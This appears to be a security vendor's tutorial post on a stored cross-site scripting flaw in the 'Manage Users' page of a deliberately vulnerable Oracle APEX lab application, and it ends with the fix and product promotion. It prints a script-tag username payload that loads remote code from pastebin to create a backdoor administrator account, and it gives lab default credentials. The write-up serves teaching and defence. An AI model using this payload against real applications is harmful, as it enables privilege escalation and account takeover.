Welcome back, this week we will be discussing another page of the Big Bad Blog. If you haven’t read part 1 it might be a good idea to start there.

Just another reminder to ensure that you have downloaded the free version of ApexSec through the ApexSec Online Portal. If you want to try out the exploits then you should import the Big Bad Blog into a workspace and run it.

Page 12 – Manage Users

This week we will be discussing the ‘Manage Users’ page, it might seem as though we have skipped a few pages (we’ll get back to those). Here at Recx we review a lot of applications for our clients, and this has to be absolutely the most common vulnerability that we find. So with that in mind we will continue…



Cross-Site Scripting – Report Display Type

When we sign into the Big Bad Blog with an administrator account we have the option to click on the ‘Manage Users’ tab. We are then shown a report page with a list of users. Administrators are shown in red and normal users blue.

  Because the code in the report outputs HTML in the select statement to change the colour, the report column cannot be set to ‘Escape Special Characters‘. If we look at the code it appears that the developer has quite rightly escaped the values using htf.escape_sc.

However if we tell ApexSec to highlight the instance (by clicking on the down icon) it becomes apparent where the vulnerability is.

As we can see, the else clause in the case statement is at fault here, if the column isadmin is set to null the vulnerability will manifest itself. It just so happens that all new users that are created have the isadmin column in the database table set to null, this is a bug in the code but it serves us well here.

Note: This condition is made more serious in that an exploitable condition exists in a low security domain (normal user) that affects a higher domain (admin).

Exploit

As the field sizes are quite small we will need to transfer our exploit code from another server, pastebin is excellent for this purpose. We will place our exploit payload there.

We then go to the ‘Add User’ page of the Big Bad Blog and add a username of <script src=”http://pastebin.com/raw.php?i=nbj5a2mE”></script>. If you have created your own pastebin script then obviously use your own unique id.

A bug in the Big Bad Blog, results in the following message being displayed when the user is added.

The account has been created, and this error message can safely be ignored.

Exploit Trigger

When the administrator visits the ‘Manage Users’ page the exploit will run. We can sign in with the credentials username: admin password: admin and visit the ‘Manage Users’ page.

The exploit isn’t very subtle as you can see the html, but it serves our purpose here. Sign out of the administrator account after waiting for about 5 seconds (do not refresh the page). Then return to the login screen by using the logout link at the top right of the page.

Now we are back at the login screen you can login with the newly created ‘backdoor’ administrator user, with a password of ‘hi’.

Correcting the code

Simply escaping the username in the case statement by using htf.escape_sc ensures the vulnerability is corrected.

Note: Have you already corrected the code in the Big Bad Blog? Want to check your changes? Please request a trial and use ApexSec Desktop to scan your APEX application.

Thoughts

Getting the report columns correct can be quite tricky, just blindly setting the report column type to ‘escape special characters’ quickly breaks applications when double escaping occurs.

As can be seen from the example above under the right circumstances the effect of this can be devastating with privilege escalation being a common attack vector.

Only ApexSec can identify issues where the report column needs to be set to standard report column because of HTML constructs being passed from the underlying code.

If you want to discuss how to make your Oracle APEX applications secure, please contact us.